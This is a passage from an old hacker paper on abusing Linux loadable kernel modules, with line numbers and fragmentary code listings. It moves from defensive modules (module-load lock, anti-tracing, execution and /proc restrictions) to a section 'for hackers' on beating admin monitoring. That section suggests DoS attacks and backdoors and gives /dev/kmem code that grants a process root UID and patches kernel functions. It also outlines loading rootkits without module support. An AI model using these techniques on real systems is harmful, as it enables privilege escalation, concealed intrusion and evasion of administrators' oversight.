3387 will check it in the intercepted stat call [I know this is more than insecure;
3388 even a Linux starter would be able to defeat this authentication scheme, but
3389 (again) this is not the point here...]. Take a look at my implemtation (I ripped
3390 lots of from existing LKMs like the one by plaguez...):<br>
3396 #include <linux/module.h>
3397 #include <linux/kernel.h>
3398 #include <asm/unistd.h>
3399 #include <sys/syscall.h>
3400 #include <sys/types.h>
3401 #include <asm/fcntl.h>
3402 #include <asm/errno.h>
3403 #include <linux/types.h>
3404 #include <linux/dirent.h>
3405 #include <sys/mman.h>
3406 #include <linux/string.h>
3407 #include <linux/fs.h>
3408 #include <linux/malloc.h>
3409 #include <sys/stat.h>
3412 extern void* sys_call_table[];
3414 /*if lock_mod=1 THEN ALLOW LOADING A MODULE*/
3419 /*intercept create_module(...) and stat(...) systemcalls*/
3420 int (*orig_create_module)(char*, unsigned long);
3421 int (*orig_stat) (const char *, struct old_stat*);
3423 char *strncpy_fromfs(char *dest, const char *src, int n)
3429 dest[compt++] = __get_user(tmp++, 1);
3431 while ((dest[compt - 1] != '\0') && (compt != n));
3436 int hacked_stat(const char *filename, struct old_stat *buf)
3440 char *password = "password"; /*yeah, a great password*/
3442 name = (char *) kmalloc(255, GFP_KERNEL);
3444 (void) strncpy_fromfs(name, filename, 255);
3446 /*do we have our password ?*/
3447 if (strstr(name, password)!=NULL)
3449 /*allow loading a module for one time*/
3457 ret = orig_stat(filename, buf);
3462 int hacked_create_module(char *name, unsigned long size)
3465 char hide[]="ourtool";
3471 ret=orig_create_module(name, size);
3476 printk("<1>MOD-POL : Permission denied !\n");
3483 int init_module(void) /*module setup*/
3485 __NR_myexecve = 200;
3487 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3490 sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
3492 orig_stat=sys_call_table[SYS_prev_stat];
3493 sys_call_table[SYS_prev_stat]=hacked_stat;
3495 orig_create_module=sys_call_table[SYS_create_module];
3496 sys_call_table[SYS_create_module]=hacked_create_module;
3498 printk("<1>MOD-POL LOADED...\n");
3502 void cleanup_module(void) /*module shutdown*/
3504 sys_call_table[SYS_prev_stat]=orig_stat;
3505 sys_call_table[SYS_create_module]=orig_create_module;
3509 This code should be clear. The following list tells you what to improve in this
3510 LKM in order to make it more secure, perhaps a bit too paranoid :) :
3512 <li>find another way to authenticate (use your own user space interface, with your
3513 own systemcalls; use userID (not just a plain password); perhaps you have a
3514 biometric device -> read documentation and code your device driver for Linux
3515 and use it ;) ...) BUT REMEMBER: the most secure hardware protection (dongles,
3516 biometric, smartcard systems can often be defeated because of a very insecure
3517 software interface;. You could secure your whole system with a mechanism like
3518 that. Control your whole kernel with a smartcard :)<br>
3519 Another not so 'extreme' way would be to implement your own systemcall which is
3520 responsible for authentication. (see II.11 for an example of creating your
3521 own systemcall).<br>
3522 <li>find a better way to check in sys_create_module(...). Checking a variable is
3523 not very secure, if someone rooted your system he could patch the memory (see
3525 <li>find a way to make it impossible for an attacker to use your authentication
3526 for insmod'ing his LKM <br>
3527 <li>add hiding features<br>
3531 You can see, there is some work to do. But even with those steps, your system
3532 cannot be totally secure.If someone rooted the system he could find other tricks
3533 to load his LKM (see next part); perhaps he even does not need a LKM, because he
3534 only rooted thesystem, and don't want to hide files / processeses (and the other
3535 wonderfull things possible with LKMs).
3537 <H3><A NAME="III.2."></A>2. Anti-LKM-Infector ideas</h3
3539 In this section I will concentrate on the LKM Infector by SVAT, because I cannot
3540 present a generic LKM infection scanner. Perhaps this would be possible with
3541 something like heuristic tests or something similar. There are many ways you
3542 can implement a LKM infector scanner. You can divide them into two big groups :
3544 <li> memory resident (realtime) scanner (like TSR virus scanner in DOS;or VxD
3545 scanner virus in WIN9x)<br>
3546 <li> file checking scanner (checking module files for signs of an infection)<br>
3548 The first method is possible through intercepting sys_create_module (or the
3549 init_module call). The second approach needs something characteristic which you
3550 may find in any infected file. We know that the LKM infector appends two module
3551 files. So we could check for two ELF headers / signatures. Of course, any other
3552 LKM infector could use a improved method (encryption, selfmodifying code etc.).
3553 I won't present a file checking scanner, because you just have to write a little
3554 (user space) programm that reads in the module, and checks for twe ELF headers
3555 (the 'ELF' string, for example).
3557 <H3><A NAME="III.3."></A>3. Make your programs untraceable (theory)</h3>
3559 Now it's time to beat hackers snooping our executables. As I said before strace
3560 is the tool of our choice. I presented it as a tool helping us to see which
3561 systemcalls are used in certain programs. Another very interesting use of strace
3562 is outlined in the paper 'Human to Unix Hacker' by TICK/THC. He shows us how to
3563 use strace for TTY hijacking. Just strace your neighbours shell,and you will get
3564 every input he makes. So you admins should realize the danger of strace. The
3565 program strace uses the following API function :<br>
3568 #include <sys/ptrace.h>
3570 int ptrace(int request, int pid, int addr, int data);
3573 Well how can we control strace? Don't be silly and remove strace from your
3574 system, and think everything is ok - as I show you ptrace(...) is a library
3575 function. Every hacker can code his own program doing the same as strace. So
3576 we need a better more secure solution. Your first idea could be to search for
3577 an interesting systemcall that could be responsible for the tracing; There is
3578 a systemcall doing that; but let's look at another approach before.<br>
3579 Remember II.5.1 : I talked about the task flags. There were two flags which
3580 stand for traced processes. This is the way we can control the tracing on our
3581 system. Just intercept the sys_execve(...) systemcall and check the current
3582 process for one of the two flags set.<br>
3584 <H4><A NAME="III.3.1."></A>3.1 Practical Example of a prototype Anti-Tracer</h4>
3586 This is my little LKM called 'Anti-Tracer'. It basicly implements the ideas from
3587 4. The flags field from our process can easily be retrieved using the current
3588 pointer (task structure). The rest is nothing new.
3594 #include <linux/module.h>
3595 #include <linux/kernel.h>
3596 #include <asm/unistd.h>
3597 #include <sys/syscall.h>
3598 #include <sys/types.h>
3599 #include <asm/fcntl.h>
3600 #include <asm/errno.h>
3601 #include <linux/types.h>
3602 #include <linux/dirent.h>
3603 #include <sys/mman.h>
3604 #include <linux/string.h>
3605 #include <linux/fs.h>
3606 #include <linux/malloc.h>
3608 extern void* sys_call_table[];
3612 int (*orig_execve) (const char *, const char *[], const char *[]);
3614 char *strncpy_fromfs(char *dest, const char *src, int n)
3620 dest[compt++] = __get_user(tmp++, 1);
3622 while ((dest[compt - 1] != '\0') && (compt != n));
3626 int my_execve(const char *filename, const char *argv[], const char *envp[])
3629 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
3630 (filename)), "c"((long) (argv)), "d"((long) (envp)));
3635 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3641 /*check for the flags*/
3642 if ((current->flags & PF_PTRACED)||(current->flags & PF_TRACESYS)) {
3643 /*we are traced, so print the traced process (program name) and return
3645 kfilename = (char *) kmalloc(256, GFP_KERNEL);
3646 (void) strncpy_fromfs(kfilename, filename, 255);
3647 printk("<1>TRACE ATTEMPT ON %s -> PERMISSION DENIED\n", kfilename);
3651 ret = my_execve(filename, argv, envp);
3655 int init_module(void) /*module setup*/
3657 __NR_myexecve = 200;
3658 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3660 orig_execve = sys_call_table[SYS_execve];
3661 if (__NR_myexecve != 0)
3663 sys_call_table[__NR_myexecve] = orig_execve;
3664 sys_call_table[SYS_execve] = (void *) hacked_execve;
3669 void cleanup_module(void) /*module shutdown*/
3671 sys_call_table[SYS_execve]=orig_execve;
3675 This LKM also logs any executable someone wanted to execute with tracing. Well
3676 this LKM checks for some flags, but what if you start tracing a program which
3677 is already running. Just imagine a program (shell or whatever) running with the
3678 PID 1853, now you do a 'strace -p 1853'. This will work. So for securing this
3679 hooking sys_ptrace(...) is the only way. Look at the following module :
3685 #include <linux/module.h>
3686 #include <linux/kernel.h>
3687 #include <asm/unistd.h>
3688 #include <sys/syscall.h>
3689 #include <sys/types.h>
3690 #include <asm/fcntl.h>
3691 #include <asm/errno.h>
3692 #include <linux/types.h>
3693 #include <linux/dirent.h>
3694 #include <sys/mman.h>
3695 #include <linux/string.h>
3696 #include <linux/fs.h>
3697 #include <linux/malloc.h>
3699 extern void* sys_call_table[];
3702 int (*orig_ptrace)(long request, long pid, long addr, long data);
3704 int hacked_ptrace(long request, long pid, long addr, long data)
3706 printk("TRACING IS NOT ALLOWED\n");
3711 int init_module(void) /*module setup*/
3713 orig_ptrace=sys_call_table[SYS_ptrace];
3714 sys_call_table[SYS_ptrace]=hacked_ptrace;
3718 void cleanup_module(void) /*module shutdown*/
3720 sys_call_table[SYS_ptrace]=orig_ptrace;
3724 Use this LKM and no one will be able to trace anymore.
3727 <H3><A NAME="III.4."></A>5. Hardening the Linux Kernel with LKMs</h3>
3729 This section subject may sound familiar to Phrack readers. Route introduced nice
3730 ideas for making the Linux system more secure. He used some patches. I want to
3731 show that some ideas can also be implemented by LKMs. Remember that without
3732 hiding those LKMs it is also <i>useful</i> (of course hiding is something you should
3733 do), because route's patches are also worthless if someone rooted the system;
3734 and a non-priviledged user can <i>not</i> remove our LKM, but he can see it.
3735 The advantage of using LKMs instead of a static kernel patch : you can easily
3736 manage the whole system security, and install it more easily on running system.
3737 It's not necessary to install a new kernel on sensitive system you need every
3739 The Phrack patches also added some logging feature's which I did not implement
3740 but there are thousand ways to do it.The simpelst way would be using printk(...)
3741 [Note : I did not look at every aspect of route's patches. Perhaps real good
3742 kernel hackers would be able to do more with LKMs.]
3745 <H4><A NAME="III.4.1."></A>4.1 Why should we allow arbitrary programs execution rights? </h4>
3747 The following LKM is something like route's kernel patch that checks for
3755 #include <linux/version.h>
3756 #include <linux/mm.h>
3757 #include <linux/unistd.h>
3758 #include <linux/fs.h>
3759 #include <linux/types.h>
3760 #include <asm/errno.h>
3761 #include <asm/string.h>
3762 #include <linux/fcntl.h>
3763 #include <sys/syscall.h>
3764 #include <linux/module.h>
3765 #include <linux/malloc.h>
3766 #include <linux/kernel.h>
3767 #include <linux/kerneld.h>
3769 /* where the sys_calls are */
3771 int __NR_myexecve = 0;
3773 extern void *sys_call_table[];
3775 int (*orig_execve) (const char *, const char *[], const char *[]);
3777 int (*open)(char *, int, int);
3781 char *strncpy_fromfs(char *dest, const char *src, int n)
3787 dest[compt++] = __get_user(tmp++, 1);
3789 while ((dest[compt - 1] != '\0') && (compt != n));
3793 int my_execve(const char *filename, const char *argv[], const char *envp[])
3796 __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
3797 (filename)), "c"((long) (argv)), "d"((long) (envp)));
3801 int hacked_execve(const char *filename, const char *argv[], const char *envp[])
3806 /*we need the inode strucure*/
3807 /*I use the open approach here, because you should understand it from the LKM
3808 infector, read on for seeing a better approach*/
3809 fd = open(filename, O_RDONLY, 0);
3811 file = current->files->fd[fd];
3813 /*is this a root file ?*/
3814 /*Remember : you can do other checks here (route did more checks), but this
3815 is just for demonstration. Take a look at the inode structur to
3816 see other items to heck for (linux/fs.h)*/
3817 if (file->f_inode->i_uid!=0)
3819 printk("<1>Execution denied !\n");
3823 else /*otherwise let the user execute the file*/
3825 ret = my_execve(filename, argv, envp);
3830 int init_module(void) /*module setup*/
3832 printk("<1>INIT \n");
3833 __NR_myexecve = 250;
3834 while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
3836 orig_execve = sys_call_table[SYS_execve];
3837 if (__NR_myexecve != 0)
3839 printk("<1>everything OK\n");
3840 sys_call_table[__NR_myexecve] = orig_execve;
3841 sys_call_table[SYS_execve] = (void *) hacked_execve;
3844 open = sys_call_table[__NR_open];
3845 close = sys_call_table[__NR_close];
3849 void cleanup_module(void) /*module shutdown*/
3851 sys_call_table[SYS_execve]=orig_execve;
3855 This is not exactly the same as route's kernel patch. route checked the <i>path</i>
3856 we check the <i>file</i> (a path check would also be possible, but in my opinion a
3857 file check is also the better way). I only implemented a check for UID of the
3858 file, so an admin can filter the file execution process. As I said the open /
3859 fd approach I used above is not the easiest way; I took it because it should be
3860 familiar to you (remember, the LKM infector used this method). For our purpose
3861 the following kernel function is also possible (easier way) :
3864 int namei(const char *pathname, struct inode **res_inode);
3866 int lnamei(const char *pathname, struct inode **res_inode);
3869 Those functions take a certain pathname and return the corresponding inode
3870 structure. The difference between the functions above lies in the symlink
3871 resolving : lnamei does <i>not</i> resolve a symlink and returns the inode structure
3872 for the symlink itself. As a hacker you could also modify inodes. Just retrieve
3873 them by hooking sys_execve(...) and using namei(...) (the way we use also for
3874 execution control) and manipulate the inode (I will show a practical example
3875 of this idea in 5.3).
3877 <H4><A NAME="III.4.2."></A>4.2 The Link Patch</h4>
3879 Every Linux user knows that symlink bugs are something which often leads to
3880 serious problems if it comes to system security. Andrew Tridgell developed a
3881 kernel patch which prevents a process from 'following a link which is in a +t
3882 (mostly /tmp/) directory unless they own the link'. Solar Designer added some
3883 code which also prevents users from creating hard links in a +t directory to
3884 files they don't own.<br>
3885 I have to admit that the symlink patch lies on a layer we can't easily reach
3886 from our LKM psotion. There are neither exported symbols we could patch nor any
3887 systemcalls we could intercept. The symlink resolving is done by the VFS. Take
3888 a look at part IV for methods which could help us to solve this problem (but I
3889 would not use the methods from IV to <i>secure</i> a system). You may wonder why I
3890 don't use the sys_readlink(...) systemcall for solving the problem. Well this
3891 call is used if you do a 'ls -a symlink' but it is not called if you issue a
3893 In my opinion you should leave this as a kernel patch. Of course you can code
3894 a LKM which intercepts the sys_symlink(...) systemcall in order to prevent a
3895 user from creating symlinks in the /tmp directory. Look at the hard link LKM
3896 for a similar implementation.<br>
3897 Ok, the symlink problem was a bit hard to transform it to a LKM. How about Solar
3898 Designer's idea concerning hard link restrictions. This can be done as LKM. We
3899 only need to intercept sys_link(...) which is responsible for creating any hard
3900 links.Let's take a look at hacked systemcall (the code fragment does not exactly
3901 the same as the kernel patch, because we only check for the '/tmp/' directory,
3902 not for the sticky bit(+t),but this can also be done with looking at the inode
3903 structure of the directoy [see 5.1]) :
3906 int hacked_link(const char *oldname, const char *newname)
3908 char *kernel_newname;
3912 kernel_newname = (char*) kmalloc(256, GFP_KERNEL);
3913 memcpy_fromfs(kernel_newname, newname, 255);
3915 /*hard link to /tmp/ directory ?*/
3916 if (strstr(kernel_newname, (char*)&hide ) != NULL)
3918 kfree(kernel_newname);
3920 /*I use the open approach again :)*/
3921 fd = open(oldname, O_RDONLY, 0);
3923 file = current->files->fd[fd];
3926 if (file->f_inode->i_uid!=current->uid)
3928 printk("<1>Hard Link Creation denied !\n");
3935 kfree(kernel_newname);
3936 /*everything ok -> the user is allowed to create the hard link*/
3937 return orig_link(oldname, newname);
3941 This way you could also control the symlink <i>creation</i>.
3943 <H4><A NAME="III.4.3."></A>4.3 The /proc permission patch</h4>
3945 I already showed you some ways how to hide some process information.route's idea
3946 is different to our hide approach. He wants to limit the /proc/ access (needed
3947 for access to process information) by changing the directory permissions. So
3948 he patched the proc inode. The following LKM will do exactly the same without a
3949 static kernel patch. If you load it a user will not be allowed to read the proc
3950 fs, if you unload it he will be able to. Here we go :
3953 /*very bad programming style (perhaps we should use a function for the
3954 indode retrieving), but it works...*/
3957 #define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
3958 #define END_KMEM set_fs(old_fs);}
3960 #include <linux/version.h>
3961 #include <linux/mm.h>
3962 #include <linux/unistd.h>
3963 #include <linux/fs.h>
3964 #include <linux/types.h>
3965 #include <asm/errno.h>
3966 #include <asm/string.h>
3967 #include <linux/fcntl.h>
3968 #include <sys/syscall.h>
3969 #include <linux/module.h>
3970 #include <linux/malloc.h>
3971 #include <linux/kernel.h>
3972 #include <linux/kerneld.h>
3974 extern void *sys_call_table[];
3976 int (*open)(char *, int, int);
3980 int init_module(void) /*module setup*/
3986 /*again the open(...) way*/
3987 open = sys_call_table[SYS_open];
3988 close = sys_call_table[SYS_close];
3990 /*we have to supplie some kernel space data for the systemcall*/
3992 fd = open("/proc", O_RDONLY, 0);
3995 file = current->files->fd[fd];
3997 /*here's the inode for the proc directory*/
4000 /*modify permissions*/
4001 ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;
4007 void cleanup_module(void) /*module shutdown*/
4014 fd = open("/proc", O_RDONLY, 0);
4017 file = current->files->fd[fd];
4019 /*here's the inode for the proc directory*/
4022 /*modify permissions*/
4023 ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;
4029 Just load this module and try a ps, top or whatever, it won't work. Every access
4030 to the /proc directory is totally denied. Of course, as root you are still
4031 allowed to view every process and anything else; this is just a permission patch
4032 in order to keep your users silly.<br>
4033 [Note : This is a practical implementation of modifying inodes 'on the fly' you
4034 should see many possibilities how to abuse this.]
4036 <H4><A NAME="III.4.4."></A>4.4 The securelevel patch</h4>
4039 The purpose of this patch : I quote route
4041 "This patch isn't really much of a patch. It simply bumps the securelevel
4042 up, to 1 from 0. This freezes the immutable and append-only bits on files,
4043 keeping anyone from changing them (from the normal chattr interface). Before
4044 turning this on, you should of course make certain key files immutable, and
4045 logfiles append-only. It is still possible to open the raw disk device,
4046 however. Your average cut and paste hacker will probably not know how to do
4049 Ok this one is really easy to implement as a LKM. We are lucky because the symbol
4050 responsible for the securelevel is public (see /proc/ksyms) so we can easily
4051 change it. I won't present an example for this bit of code, just import secure
4052 level and set it in the module's init function.
4054 <H4><A NAME="III.4.5."></A>4.5 The rawdisk patch</h4>
4056 I developed an easy way to avoid tools like THC's manipate-data.<br>
4057 Those tools are used by hackers to search the hard disk for their origin IP address or DNS name.
4058 After finding it they modify or remove the entry from the hard disk. For doing
4059 all this they need access to the /dev/* files for opening the rawdisk. Of course
4060 they can only do this after rooting the system. So what can we do about this. I
4061 found that the following way helps to prevent those attacks [of course there are
4062 again thousand ways to defeat that protection :(] :
4064 <li> boot your system<br>
4065 <li> install a LKM which prevents direct (dev/*) access to your partition you save
4069 This works because the system (normally) only needs direct access to the rawdisk
4070 during the some (seldom) operationes. The LKM just intercepts sys_open(...) and
4071 filter for the needed dev-file. I think it's not necessary to show how to code
4072 it, take a look at II.4.2). This way you can protect any /dev/* file. The
4073 problem is that this way nobody can access them directly while the LKM is
4075 [Note : There are some functions which will not work / crash the system, but
4076 a normal web-, or mailserver should work with this patch.]
4081 <H2>IV. Some Better Ideas (for hackers)</H2>
4087 <H3><A NAME="IV.1."></A>1. Tricks to beat admin LKMs</h3>
4089 This part will give us some notes on playing with the kernel on systems where
4090 you have a paranoid (good) admin. After explaining all the ways admins can
4091 protect a system, it is very hard to find better ways for us (hackers). <br>
4092 We need to leave the LKM field for some seconds in order to beat those hard
4094 Imagine a system where an admin has installed a very good and big monitor LKM
4095 which checks every action on that system. It can do everything mentioned in part
4097 The first way to get rid of this LKM is trying to reboot the system, perhaps the
4098 admin did not load this LKM from an init file. So try some DoS Attacks or
4099 whatever works. If you still cannot kill this LKM try to look at some important
4100 files, but be careful, some files may be protected / monitored (see appendix A
4101 for such a LKM).<br>
4102 If you really cannot see where the LKM is loaded etc., forget the system
4103 or risk installing a backdoor, which you cannot hide (process/file). But if an
4104 admin really uses such a 'mega' LKM, forget the system, he might really be good
4105 and you may get some trouble. For those who even want to beat that system read
4108 <H3><A NAME="IV.2."></A>2. Patching the whole kernel - or creating the Hacker-OS</h3>
4110 [Note : This section may sound a bit off topic, but in the end I'll present a
4111 nice idea (program that was developed by Silvio Cesare which will also help us
4112 using our LKMs. This section will only give a summary of the whole kmem problem
4113 due to the fact that we only need to focus on the idea by Silvio Cesare.]<br>
4114 Ok LKM's are nice. But what if the admin is like the one described in 1. He does
4115 everything in order to prevent us from using our nice LKM techniques from part
4116 II. He even patched his own kernel, to make his system secure. He uses a kernel
4117 without native LKM support.<br>
4118 So now it's time to make our last step : Runtime Kernel Patching. The basic
4119 ideas in this section come from some sources I found (kmemthief etc) and a paper
4120 by Silvio Cesare which describes a general approach to modifying kernel symbols.
4121 In my opinion this kind of attack is one of the strongest concerning 'kernel
4122 hacking'. I don't undersand every Un*x kernel out there, but this approac can
4123 help you on many systems. This section describes Runtime Kernel Patching, but
4124 what about kernelfile patching. Every system has a file which represents the
4125 plain kernel. On free systems like FreeBSD, Linux, ... it is easy to patch a
4126 kernel file, but what about the commercial ones ? I never tried it, but I think
4127 this would really be interesting : Imagine backdoor'ing a system thru a kernel
4128 patch. You only have to do a reboot or wait for one (every system must reboot
4129 sometimes :). But this text will only deal with the runtime approach. You may
4130 say that this paper is called 'Abusing Linux Loadable Kernel Modules' and you
4131 don't want to know how to patch the whole Linux kernel. Well this section will
4132 help us to 'insmod' LKMs on systems which are very secure and have no LKM
4133 support in their kernel. So we learn something which will help us with our LKM
4135 So let's start with the most important thing we have to deal with if we want to
4136 do RKP(Runtime Kernel Patching).It's the file /dev/kmem,which makes it possible
4137 for us to take a look (and modify) the complete virtual memory of our target
4138 system. [Note : Remember that the RKP approach is in most cases only useful, if
4139 you rooted a system. Only very unsecure systems will give normal users access to
4141 As I said before /dev/kmem gives us the chance to see every memory byte of our
4142 system (plus swap). This means we can also access the whole memory which allows
4143 us to manipulate any kernel item in the memory (because the kernel is only some
4144 objectcode loaded into system memory). Remember the /proc/ksyms file which shows
4145 us every address of an exported kernel symbol. So we know where to modify memory
4146 in order to manipulate some kernel symbols. Let's take a look at a very basic
4147 example which is know for a very long time. The following (user space) program
4148 takes the task_structure address (look for kstat in /proc/ksyms) and a certain
4149 PID. After seacxhing the task structure that stands for the specified PID it
4150 modifies every user id field in order to make this process UID=0. Of course
4151 today this program is nearly of no use, because most systems don't even allow
4152 a normal user to read /dev/kmem but it is a good introduction into RKP.
4155 /*Attention : I implemented no error checking!*/
4161 /*max. number of task structures to iterate*/
4162 #define NR_TASKS 512
4164 /*our task_struct -> I only use the parts we need*/
4165 struct task_struct {
4166 char a[108]; /*stuff we don't need*/
4168 char b[168]; /*stuff we don't need*/
4169 unsigned short uid,euid,suid,fsuid;
4170 unsigned short gid,egid,sgid,fsgid;
4171 char c[700]; /*stuff we don't need*/
4175 /*here's the original task_structure, to show you what else you can modify
4176 struct task_struct {
4177 volatile long state;
4180 unsigned long signal;
4181 unsigned long blocked;
4182 unsigned long flags;
4185 struct exec_domain *exec_domain;
4186 struct linux_binfmt *binfmt;
4187 struct task_struct *next_task, *prev_task;
4188 struct task_struct *next_run, *prev_run;
4189 unsigned long saved_kernel_stack;
4190 unsigned long kernel_stack_page;
4191 int exit_code, exit_signal;
4192 unsigned long personality;
4200 int groups[NGROUPS];
4201 struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
4202 struct wait_queue *wait_chldexit;
4203 unsigned short uid,euid,suid,fsuid;
4204 unsigned short gid,egid,sgid,fsgid;
4205 unsigned long timeout, policy, rt_priority;
4206 unsigned long it_real_value, it_prof_value, it_virt_value;
4207 unsigned long it_real_incr, it_prof_incr, it_virt_incr;
4208 struct timer_list real_timer;
4209 long utime, stime, cutime, cstime, start_time;
4210 unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
4212 unsigned long swap_address;
4213 unsigned long old_maj_flt;
4214 unsigned long dec_flt;
4215 unsigned long swap_cnt;
4216 struct rlimit rlim[RLIM_NLIMITS];
4217 unsigned short used_math;
4220 struct tty_struct *tty;
4221 struct sem_undo *semundo;
4222 struct sem_queue *semsleeping;
4223 struct desc_struct *ldt;
4224 struct thread_struct tss;
4225 struct fs_struct *fs;
4226 struct files_struct *files;
4227 struct mm_struct *mm;
4228 struct signal_struct *sig;
4237 int main(int argc, char *argv[])
4239 unsigned long task[NR_TASKS];
4240 /*used for the PID task structure*/
4241 struct task_struct current;
4247 pid = atoi(argv[2]);
4249 kmemh = open("/dev/kmem", O_RDWR);
4251 /*seek to memory address of the first task structure*/
4252 lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
4253 read(kmemh, task, sizeof(task));
4255 /*iterate till we found our task structure (identified by PID)*/
4256 for (i = 0; i < NR_TASKS; i++)
4258 lseek(kmemh, task[i], SEEK_SET);
4259 read(kmemh, ¤t, sizeof(current));
4260 /*is it our process?*/
4261 if (current.pid == pid)
4263 /*yes, so change the UID fields...*/
4264 current.uid = current.euid = 0;
4265 current.gid = current.egid = 0;
4266 /*write them back to memory*/
4267 lseek(kmemh, task[i], SEEK_SET);
4268 write(kmemh, ¤t, sizeof(current));
4269 printf("Process was found and task structure was modified\n");
4276 Nothing special about this little program. It's just like searching a certain
4277 pattern in a file and changing some fields. There are lots of programs out
4278 there which are doing stuff like that. As you can see the example above won't
4279 help you attacking a system, it's just for demonstration (but there mayby some
4280 poor systems allowing users to write to /dev/kmem, I don't know).<br>
4281 The same way you can change the module structures responsible for holding the
4282 kernel's module information. This way you can also hide a module, just by
4283 patching kmem; I don't present an implementation of this, because it is basicly
4284 the same as the program above (ok, the searching is a bit harder ;)).<br>
4285 The way above we modified a kernel structure. There are some programs doing
4286 things like that. But what about functions ? Well seach the internet and you
4287 will soon recognize that there are not so many programs doing things like that.
4288 Well, of course patching a kernel function (we will do more useful things later)
4289 is a bit tricky. The best way would be to play with the sys_call_table structure
4290 which will point to a completely new function made by us. Otherwise there would
4291 be some problems concerning function size and so on. The following example is
4292 just a very easy program making every systemcall doing nothing. I just insert
4293 a RET(0xc3)at the beginning of the function address that I get from /proc/ksyms.
4294 This way the function will return immediately doing nothing.<br>
4297 /*again no error checking*/
4303 /*just our RET opcode*/
4304 unsigned char asmcode[]={0xc3};
4306 int main(int argc, char *argv[])
4308 unsigned long counter;
4312 kmemh = open("/dev/kmem", O_RDWR);
4314 /*seek to memory address where the function starts*/
4315 lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
4317 /*write our patch byte*/
4318 write(kmemh, &asmcode, 1):
4324 Let's summarize what we know so far : We can modify any kernel symbol; this
4325 includes things like sys_call_table[] and any other function or structure.<br>
4326 Remember that every kernel patching can only be done if we can access /dev/kmem
4327 but there are also ways how to protect this file. Take a look at III.5.5.
4329 <H4><A NAME="IV.2.1."></A>2.1 How to find kernel symbols in /dev/kmem</h4>
4331 After the basic examples above you could ask how to modify <i>any</i> kernel symbol
4332 and how to find interesting ones. In the example above we used /proc/ksyms to
4333 get the address we need to modify a symbol. But what do we have on systems
4334 with no lkm support build into their kernel, there won't be a /proc/ksyms file,
4335 because it is only used for module management (public / available symbols)?
4336 And what about kernel symbols that are not exported, how can we modify them ?<br>
4337 Many questions, so let's find some solutions. Silvio Cesare discussed some
4338 ways finding different kernel symbols (public & non-public ones). He outlines
4339 that while compiling the linux kernel a file called 'System.map' is created
4340 which maps every kernel symbol to a fixed address. This file is only needed
4341 during compilation for resolving those kernel symbols. The running systems has
4342 no need for that file.The addresses used for compilation are the same we can use
4343 to seek /dev/kmem. So the general approach would be :
4345 <li>lookup System.map for the needed kernel symbol <br>
4346 <li>take the address we found <br>
4347 <li>modify the kernel symbol (structure, function, or whatever)<br>
4349 Sounds quite easy. But there is one big problem. Every system which does not
4350 use exactly <i>our</i> kernel will have other addresses for their kernel symbols.<br>
4351 And on most systems you won't find a helpful System.map file telling us every
4352 address. So what to do. Silvio Cesare proposed to use a 'key search'. Just take
4353 your kernel, read the first 10 bytes (just a random value) of a symbol address
4354 and take them as a key for searching the same symbol in another kernel.<br>
4355 If you cannot build a generic key for a certain symbol you may try to find some
4356 relations from this symbol to other kernel symbols you can create generic keys
4357 for. Finding relations can be done by looking up the kernel sources; this way
4358 you can also find interesting kernel symbols you could modify (patch).<br>
4360 <H4><A NAME="IV.2.2."></A>2.2 The new 'insmod' working without kernel support </h4>
4362 Now it's time to go back to our LKM hacking. This section will give you some
4363 hints concerning Silvio Cesare's kinsmod program. I will only outline the
4364 general working. The most complicated part of the program is the objectcode
4365 handling (elf file) and its kernel space mapping. But this is only a problem
4366 of the elf header processing nothing kernel specific. Silvio Cesare used elf
4367 files because this way you can insert [normal] LKMs. It would also be possible
4368 to write a file (just opcodes -> see me RET example) and inserting this file
4369 which would be harder to could but essier to map. For those who really want to
4370 understand the elf file handling I added Silvio Cesare's file to this text (I've
4371 also done it because Silvio Cesare wants his sources / ideas only be distributed
4372 within the whole file).<br>
4373 Now it's time to look at the general ideas of inserting LKMs on a system without
4374 support for that feature.<br>
4375 The first problem we are faced to if we want to insert code (a LKM or whatever)
4376 into the kernel is the need for memory. We can't take a random address and write
4377 our objectcode to /dev/kmem. So where can we put our code in a way it does not
4378 hurt the running system and will not be removed due to some memory operation in
4379 kernel space. There's one place where we can insert a bit of code, take a look
4380 at the following figure showing the general kernel memory :
4386 The kmalloc pool is used for memory allocation in kernel space (kmalloc(...)).
4387 We cannot put our code into this pool because we cannot be sure that the address
4388 space we write to is unused. Now comes Silvio Cesare's idea : the kmalloc pool
4389 borders in memory are saved in memory_start and memory_end which are exported
4390 by the kernel (see /proc/ksyms). The interesting point about this is that the
4391 start address (memory_start) is <i>not</i> exactly the kmalloc pool start adress,
4392 because this address is aligned to the next page border of memory_start.So there
4393 is a bit of memory which will never be used (between memory_start and the real
4394 start of the kmalloc pool). This is the best place to insert our code. Ok this
4395 is not the whole story, you may recognize that no useful LKM will fit into this
4396 little buffer. Silvio Cesare used some bootstrap code he put into this little
4397 buffer; this code loads the actual LKM. This way we can load LKMs on systems
4398 without support for this. Please read Silvio Cesare's paper for a in-depth
4399 discussion on actually mapping a LKM file (elf format) into the kernel; this
4402 <H3><A NAME="IV.3."></A>3. Last words</h3>
4404 Section 2 was nice, but what about systems which do not permit access to kmem?
4405 Well a last way would be inserting/modifying kernel space with the help of some
4406 kernel bugs. There are always some buffer overflows and other problems in kernel
4407 space. Also consider checking modules for some bugs. Just take a look at the many
4408 source files of the kernel. Even user space programs can help us to modify the
4410 Bear in mind, that some weeks months ago a bug concerning svgalib was found. Every program
4411 using svgalib gets a handle with write permissions to /dev/mem. /dev/mem can also
4412 be used for RKP with the same adresses as /dev/kmem. So look at the following
4413 list, to get some ideas how to do RKP on very secure systems :
4415 <li>find a program that uses svgalib<br>
4416 <li>check the source of that program for common buffer overflows (should be not
